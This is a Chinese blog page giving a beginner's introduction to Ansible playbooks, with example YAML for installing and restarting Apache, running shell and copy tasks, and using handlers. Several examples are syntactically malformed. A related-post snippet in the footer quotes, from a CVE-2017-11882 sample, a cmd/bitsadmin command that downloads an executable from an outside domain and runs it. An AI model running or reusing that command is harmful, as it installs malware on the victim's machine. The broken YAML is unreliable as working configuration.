文档章节

ansible playbook

eddy_linux
 eddy_linux
发布于 2015/11/21 13:49
字数 443
阅读 152
收藏 2
playbooks是ansible管理配置、部署应用和编排的语言
可以使用playbooks来描述你想在远程主机执行的策略或一组步凑过程
ansible模块是工具,playbooks是方案
playbooks采用ymal语法结构
http://docs.ansible.com/ansible/YAMLSyntax.html

playbooks组成
Target section
  定义将要执行playbooks的远程主机组
Variable section
  定义playbooks运行时需要使用的变量
Task section
  定义将要在远程主机上执行的任务列表
Handler section
  定义task执行完成后需要调用的任务
例子:
---
- hosts:eddy
  vars:
    http_port:80
    max_clients:200
  remote_user:root
  tasks:
  - name:ensure apache is at the last version
     yum:pkg=httpd state=latest
  - name:write the apache config file
     template:src=/srv/httpd.j2 dest=/etc/httd.conf
     notify:
     - restart apache
  - name:ensure apache is running
    service:name=httpd state=started
  handlers:
    - name:restart apache
      service:name=httpd state=restarted

主机和用户
  在playbooks中的每一个play都可以在那些机器、以什么身份完成,hosts一行可以是一个主机组或主机也是可以是多个的,中间以冒号分割,remote_user表示执行的用户
  ---
  - hosts:eddy

  ---
  - hosts:eddy:127.0.0.1

执行shell
  ---
  - hosts: eddy:127.0.0.1
    remote_user: root
    tasks:
    - name: check uptime
      shell: /usr/bin/uptime
执行cp
---
- hosts: all
  remote_user: root
  tasks:
  - name: check uptime
    copy: src=/etc/hosts dest=/tmp/hosts owner=root group=root mode=0644
可以每一任务定义一个用户
    ---
    - hosts: eddy:127.0.0.1
      remote_user: root
      tasks:
      - name: check uptime
        remote_user:ansible
        sudo:yes
        shell: /usr/bin/uptime
handlers 用于关注的资源发生变化时采取一定的操作
notify这个action可以用在每个play的最后被触发,这样可以避免多改变发生时每次都执行的操作
notify列出的操作称为handler
- name template configuration file
  template: src=template.j2 dest=/etc/foo.conf
  notify:
    - restart memcached#引用handlers中定义的名称
    - restart apache
handlers:
  - name restart memcached
    service:name=memcached state=restarted
  - name restart apache
    service:name=apache state=restarted


© 著作权归作者所有

共有 人打赏支持
eddy_linux
粉丝 18
博文 135
码字总数 188789
作品 0
成都
程序员
脚本中实现Ansible的playbook的方法

脚本说明 project -- 操作的项目输入 playbook -- 远程服务器执行的规则定义 脚本

HelloEric
2015/09/21
221
0
ansible在playbook中变量传入到执行脚本的方法

简介 这个方式用于ansible调用playbook方法实现远程服务器执行某个脚本,脚本中的某些参数需要由管理服务器传入的情况。 下面的例子是ansible实际调用script模块实现远程服务器执行一个shell...

HelloEric
2015/10/21
3.1K
0
Ansible-playbook 拾遗

ansible-playbook 和handles 一起使用 ---- hosts: webuser: roottasks:- name: ensure nginx is at the latest versionyum: name=nginx state=latest- name: Copy nginx.confcopy: src="/r......

水滴石川1
01/09
0
0
企业级自动化运维工具——ansible

ansible是什么 ansible是新出现的自动化运维工具,基于Python开发,集合了众多运维工具(puppet、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能。 an...

咏雪
06/28
0
0
ansible playbook 详解

上篇文章介绍了 ansible 的安装配置及实例:http://msiyuetian.blog.51cto.com/8637744/1748143 下面这篇文章主要介绍 ansible 的 playbook 详解,playbook 就是相当于把模块或函数写入到配置...

技术小胖子
2017/11/17
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
16分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
30分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
31分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
42分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部